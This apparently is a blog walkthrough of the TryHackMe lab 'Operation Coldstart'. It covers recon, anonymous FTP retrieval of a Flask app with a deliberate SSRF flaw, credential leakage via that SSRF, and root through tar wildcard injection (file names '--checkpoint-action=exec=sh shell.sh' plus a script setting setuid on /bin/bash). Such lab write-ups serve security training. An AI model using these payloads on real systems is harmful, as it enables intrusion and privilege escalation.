Skip to main content

Command Palette

Search for a command to run...

Challenge: Operation Coldstart (TryHackMe)

Updated
7 min readView as Markdown
Challenge: Operation Coldstart (TryHackMe)
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Link to the challenge on TryHackMe: Operation Coldstart

Volt Labs, a small SaaS shop, suspects an old staging server has rotted into an exposed liability. Mara has assigned you the engagement. Find your way in and demonstrate full compromise.

Start the VM by clicking the Start Lab Machine button at the top right of the task. You can complete the challenge by connecting through VPN or the AttackBox, which contains all the essential tools.

Allow two to three minutes for all services to start.

Answer the questions below

What is the content of user.txt?

 nmap -p- -sV IP_Address

21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

/admin                (Status: 308) [Size: 243] [--> http://IP_Address/admin/]
/preview              (Status: 400) [Size: 2493]
ftp IP_Address
Connected to IP_Address.
220 (vsFTPd 3.0.5)
Name (IP_Address:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||40031|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 May 09 23:14 pub
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||40072|)
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 May 09 23:14 .
drwxr-xr-x    3 ftp      ftp          4096 May 09 23:14 ..
drwxr-xr-x    2 ftp      ftp          4096 May 09 23:14 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls 
229 Entering Extended Passive Mode (|||40014|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          2446 May 09 23:14 backup.tar.gz
226 Directory send OK.
ftp> get backup.tar.gz
local: backup.tar.gz remote: backup.tar.gz
229 Entering Extended Passive Mode (|||40030|)
150 Opening BINARY mode data connection for backup.tar.gz (2446 bytes).
100% |*******************************************************|  2446        4.94 MiB/s    00:00 ETA
226 Transfer complete.
2446 bytes received in 00:00 (2.70 MiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||40036|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 May 09 23:14 .
drwxr-xr-x    3 ftp      ftp          4096 May 09 23:14 ..
-rw-r--r--    1 ftp      ftp          2446 May 09 23:14 backup.tar.gz
226 Directory send OK.
ftp> 
tar xzvf backup.tar.gz
voltlabs-preview/
voltlabs-preview/requirements.txt
voltlabs-preview/README.md
voltlabs-preview/app.py
root@ip-10-114-125-137:~# cd voltlabs-preview
root@ip-10-114-125-137:~/voltlabs-preview# ls
README.md  app.py  requirements.txt
root@ip-10-114-125-137:~/voltlabs-preview# cat requirements.txt
flask
requests
gunicorn
root@ip-10-114-125-137:~/voltlabs-preview# cat README.md
# Volt Labs URL Preview

Internal staging tool. Run with `gunicorn -b 0.0.0.0:80 app:app`.

Admin routes are gated by source-IP check (localhost only).
root@ip-10-114-125-137:~/voltlabs-preview# cat app.py
from flask import Flask, request, abort
from urllib.parse import urlparse
import html
import requests

app = Flask(__name__)

# Only requests targeting an approved internal hostname are forwarded.
# Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box.
ALLOWED_HOSTS = {"kestrel.thm"}

CSS = """
<style>
:root{--primary:#0d6efd;--bg:#f6f8fa;--card:#fff;--text:#212529;--muted:#6c757d;--border:#dee2e6}
*{box-sizing:border-box}
body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.5;color:var(--text);background:var(--bg)}
a{color:var(--primary);text-decoration:none}
a:hover{text-decoration:underline}
.navbar{background:#212529;color:#fff;padding:.75rem 1.5rem;display:flex;align-items:center;justify-content:space-between;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.navbar .brand{font-weight:600;font-size:1.125rem;letter-spacing:.2px}
.navbar .muted-light{color:#a5acb3;font-size:.95rem}
.container{max-width:960px;margin:2rem auto;padding:0 1rem}
.card{background:var(--card);border:1px solid var(--border);border-radius:.5rem;padding:1.5rem;margin-bottom:1.25rem;box-shadow:0 1px 2px rgba(0,0,0,.04)}
h1{font-size:1.75rem;margin:0 0 .75rem}
h2{font-size:1.25rem;margin:1.25rem 0 .5rem}
.muted{color:var(--muted);font-size:.95rem}
.form-group{margin-bottom:1rem}
label{display:block;margin-bottom:.25rem;font-weight:500;font-size:.95rem}
.form-control{display:block;width:100%;padding:.5rem .75rem;font-size:1rem;line-height:1.5;color:var(--text);background:#fff;border:1px solid var(--border);border-radius:.375rem;transition:border-color .15s,box-shadow .15s}
.form-control:focus{outline:0;border-color:#86b7fe;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}
.btn{display:inline-block;padding:.5rem 1rem;font-size:1rem;font-weight:500;border:1px solid transparent;border-radius:.375rem;cursor:pointer;transition:background .15s}
.btn-primary{background:var(--primary);color:#fff}
.btn-primary:hover{background:#0b5ed7}
pre{background:#f1f3f5;border:1px solid var(--border);border-radius:.375rem;padding:.75rem;overflow:auto;font-size:.9rem;white-space:pre-wrap;word-break:break-word}
footer.site{text-align:center;color:var(--muted);margin:2rem 0;font-size:.875rem}
</style>
"""

def page(title, body):
    return f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{title} - Volt Labs</title>{CSS}</head>
<body>
<nav class="navbar">
    <span class="brand">Volt Labs</span>
    <span class="muted-light">URL Preview Service &middot; staging</span>
</nav>
<main class="container">{body}</main>
<footer class="site">&copy; Volt Labs &middot; do not expose externally</footer>
</body>
</html>"""

@app.route("/")
def index():
    body = """
    <div class="card">
        <h1>URL Preview Service</h1>
        <p class="muted">Internal tool. Paste a URL below to preview its contents.</p>
        <form method="get" action="/preview">
            <div class="form-group">
                <label for="url">URL</label>
                <input id="url" type="text" name="url" class="form-control" placeholder="https://example.com/" required>
            </div>
            <button type="submit" class="btn btn-primary">Preview</button>
        </form>
    </div>
    """
    return page("URL Preview", body)

@app.route("/preview")
def preview():
    target = request.args.get("url", "")
    if not target:
        return page("Preview Error",
                    '<div class="card"><p>Provide a <code>?url=</code> parameter.</p></div>'), 400

    # VULN: hostname allow-list is the only check. No scheme check, no path check,
    # no localhost-rebind protection - the SSRF is still abusable, but only
    # against the allowed hostname.
    host = (urlparse(target).hostname or "").lower()
    if host not in ALLOWED_HOSTS:
        return page("Preview Blocked",
                    '<div class="card"><p>Host not in the approved internal allow-list.</p></div>'), 403

    try:
        r = requests.get(target, timeout=3)
        safe_target = html.escape(target)
        safe_body = r.text.replace("<", "&lt;")
        body = f"""
        <div class="card">
            <h2>Preview of {safe_target}</h2>
            <pre>{safe_body}</pre>
        </div>
        """
        return page("Preview", body)
    except Exception as e:
        safe_err = html.escape(str(e))
        return page("Preview Failed",
                    f'<div class="card"><p>Fetch failed: {safe_err}</p></div>'), 502

@app.route("/admin/")
@app.route("/admin/<path:p>")
def admin(p="index"):
    if not request.remote_addr.startswith("127."):
        abort(403)
    if p == "notes":
        with open("/opt/voltlabs-preview/admin_notes.txt") as f:
            return "<pre>" + f.read() + "</pre>"
    return "<pre>Volt Labs admin endpoint.</pre>"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)
curl "http://IP_Address/preview?url=http://kestrel.thm/admin/notes"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Preview - Volt Labs</title>
<style>
:root{--primary:#0d6efd;--bg:#f6f8fa;--card:#fff;--text:#212529;--muted:#6c757d;--border:#dee2e6}
*{box-sizing:border-box}
body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.5;color:var(--text);background:var(--bg)}
a{color:var(--primary);text-decoration:none}
a:hover{text-decoration:underline}
.navbar{background:#212529;color:#fff;padding:.75rem 1.5rem;display:flex;align-items:center;justify-content:space-between;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.navbar .brand{font-weight:600;font-size:1.125rem;letter-spacing:.2px}
.navbar .muted-light{color:#a5acb3;font-size:.95rem}
.container{max-width:960px;margin:2rem auto;padding:0 1rem}
.card{background:var(--card);border:1px solid var(--border);border-radius:.5rem;padding:1.5rem;margin-bottom:1.25rem;box-shadow:0 1px 2px rgba(0,0,0,.04)}
h1{font-size:1.75rem;margin:0 0 .75rem}
h2{font-size:1.25rem;margin:1.25rem 0 .5rem}
.muted{color:var(--muted);font-size:.95rem}
.form-group{margin-bottom:1rem}
label{display:block;margin-bottom:.25rem;font-weight:500;font-size:.95rem}
.form-control{display:block;width:100%;padding:.5rem .75rem;font-size:1rem;line-height:1.5;color:var(--text);background:#fff;border:1px solid var(--border);border-radius:.375rem;transition:border-color .15s,box-shadow .15s}
.form-control:focus{outline:0;border-color:#86b7fe;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}
.btn{display:inline-block;padding:.5rem 1rem;font-size:1rem;font-weight:500;border:1px solid transparent;border-radius:.375rem;cursor:pointer;transition:background .15s}
.btn-primary{background:var(--primary);color:#fff}
.btn-primary:hover{background:#0b5ed7}
pre{background:#f1f3f5;border:1px solid var(--border);border-radius:.375rem;padding:.75rem;overflow:auto;font-size:.9rem;white-space:pre-wrap;word-break:break-word}
footer.site{text-align:center;color:var(--muted);margin:2rem 0;font-size:.875rem}
</style>
</head>
<body>
<nav class="navbar">
    <span class="brand">Volt Labs</span>
    <span class="muted-light">URL Preview Service &middot; staging</span>
</nav>
<main class="container">
        <div class="card">
            <h2>Preview of http://kestrel.thm/admin/notes</h2>
            <pre>&lt;pre>=== INTERNAL ===
SSH access for staging:
  user: webdev
  pass: V0ltLabs#summer
- Mara
&lt;/pre></pre>
        </div>
        </main>
<footer class="site">&copy; Volt Labs &middot; do not expose externally</footer>
</body>
</html>

SSH access for staging: user: webdev pass: V0ltLabs#summer

  • Mara
ssh webdev@IP_Address

webdev@coldstart:~$ ls -la
total 28
drwx------ 3 webdev webdev 4096 May  9 23:16 .
drwxr-xr-x 4 root   root   4096 May  9 23:14 ..
lrwxrwxrwx 1 root   root      9 May  9 23:16 .bash_history -> /dev/null
-rw-r--r-- 1 webdev webdev  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 webdev webdev 3771 Feb 25  2020 .bashrc
drwx------ 2 webdev webdev 4096 May  9 23:16 .cache
-rw-r--r-- 1 webdev webdev  807 Feb 25  2020 .profile
-rw------- 1 webdev webdev   38 May  9 23:14 user.txt
webdev@coldstart:~$ cat user.txt
THM{96dc7bd50d2fb98fcece0156redacted}

What is the content of flag.txt?

webdev@coldstart:~$ sudo -l
[sudo] password for webdev: 
Sorry, user webdev may not run sudo on coldstart.
webdev@coldstart:~$ find / -perm -4000 2>/dev/null
/snap/core20/2379/usr/bin/chfn
/snap/core20/2379/usr/bin/chsh
/snap/core20/2379/usr/bin/gpasswd
/snap/core20/2379/usr/bin/mount
/snap/core20/2379/usr/bin/newgrp
/snap/core20/2379/usr/bin/passwd
/snap/core20/2379/usr/bin/su
/snap/core20/2379/usr/bin/sudo
/snap/core20/2379/usr/bin/umount
/snap/core20/2379/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2379/usr/lib/openssh/ssh-keysign
/snap/core20/2866/usr/bin/chfn
/snap/core20/2866/usr/bin/chsh
/snap/core20/2866/usr/bin/gpasswd
/snap/core20/2866/usr/bin/mount
/snap/core20/2866/usr/bin/newgrp
/snap/core20/2866/usr/bin/passwd
/snap/core20/2866/usr/bin/su
/snap/core20/2866/usr/bin/sudo
/snap/core20/2866/usr/bin/umount
/snap/core20/2866/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2866/usr/lib/openssh/ssh-keysign
/snap/core/17292/bin/mount
/snap/core/17292/bin/ping
/snap/core/17292/bin/ping6
/snap/core/17292/bin/su
/snap/core/17292/bin/umount
/snap/core/17292/usr/bin/chfn
/snap/core/17292/usr/bin/chsh
/snap/core/17292/usr/bin/gpasswd
/snap/core/17292/usr/bin/newgrp
/snap/core/17292/usr/bin/passwd
/snap/core/17292/usr/bin/sudo
/snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17292/usr/lib/openssh/ssh-keysign
/snap/core/17292/usr/lib/snapd/snap-confine
/snap/core/17292/usr/sbin/pppd
/snap/core18/2999/bin/mount
/snap/core18/2999/bin/ping
/snap/core18/2999/bin/su
/snap/core18/2999/bin/umount
/snap/core18/2999/usr/bin/chfn
/snap/core18/2999/usr/bin/chsh
/snap/core18/2999/usr/bin/gpasswd
/snap/core18/2999/usr/bin/newgrp
/snap/core18/2999/usr/bin/passwd
/snap/core18/2999/usr/bin/sudo
/snap/core18/2999/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2999/usr/lib/openssh/ssh-keysign
/snap/core18/1885/bin/mount
/snap/core18/1885/bin/ping
/snap/core18/1885/bin/su
/snap/core18/1885/bin/umount
/snap/core18/1885/usr/bin/chfn
/snap/core18/1885/usr/bin/chsh
/snap/core18/1885/usr/bin/gpasswd
/snap/core18/1885/usr/bin/newgrp
/snap/core18/1885/usr/bin/passwd
/snap/core18/1885/usr/bin/sudo
/snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1885/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/bin/chfn
/snap/core22/2411/usr/bin/chsh
/snap/core22/2411/usr/bin/gpasswd
/snap/core22/2411/usr/bin/mount
/snap/core22/2411/usr/bin/newgrp
/snap/core22/2411/usr/bin/passwd
/snap/core22/2411/usr/bin/su
/snap/core22/2411/usr/bin/sudo
/snap/core22/2411/usr/bin/umount
/snap/core22/2411/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2411/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/libexec/polkit-agent-helper-1
/snap/core22/1621/usr/bin/chfn
/snap/core22/1621/usr/bin/chsh
/snap/core22/1621/usr/bin/gpasswd
/snap/core22/1621/usr/bin/mount
/snap/core22/1621/usr/bin/newgrp
/snap/core22/1621/usr/bin/passwd
/snap/core22/1621/usr/bin/su
/snap/core22/1621/usr/bin/sudo
/snap/core22/1621/usr/bin/umount
/snap/core22/1621/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/1621/usr/lib/openssh/ssh-keysign
/snap/core22/1621/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount
webdev@coldstart:~$ cd /opt/backups
webdev@coldstart:/opt/backups$ cat > shell.sh << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
webdev@coldstart:/opt/backups$ chmod +x shell.sh
webdev@coldstart:/opt/backups$ echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
webdev@coldstart:/opt/backups$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
webdev@coldstart:/opt/backups$ /bin/bash -p
bash-5.2# id
uid=1001(webdev) gid=1001(webdev) euid=0(root) egid=0(root) groups=0(root),1001(webdev)
bash-5.2# ls -la
total 24
-rw-rw-r-- 1 webdev webdev    1 Sep  3 11:39 '--checkpoint-action=exec=sh shell.sh'
-rw-rw-r-- 1 webdev webdev    1 Sep  3 11:39 '--checkpoint=1'
drwxrwx--- 2 webdev webdev 4096 Sep  3 11:39  .
drwxr-xr-x 4 root   root   4096 May  9 23:14  ..
-rw-r--r-- 1 webdev webdev   12 May  9 23:14  .keep
-rwxrwxr-x 1 webdev webdev   31 Sep  3 11:36  shell.sh
bash-5.2# pwd
/opt/backups
bash-5.2# find / -type f -name root.txt 2>/dev/null
bash-5.2# find / -type f -name flag.txt 2>/dev/null
/root/flag.txt
bash-5.2# cat root/flag.txt
cat: root/flag.txt: No such file or directory
bash-5.2# cat /root/flag.txt
THM{e6ee84a483d67ade06936fredacted}
bash-5.2#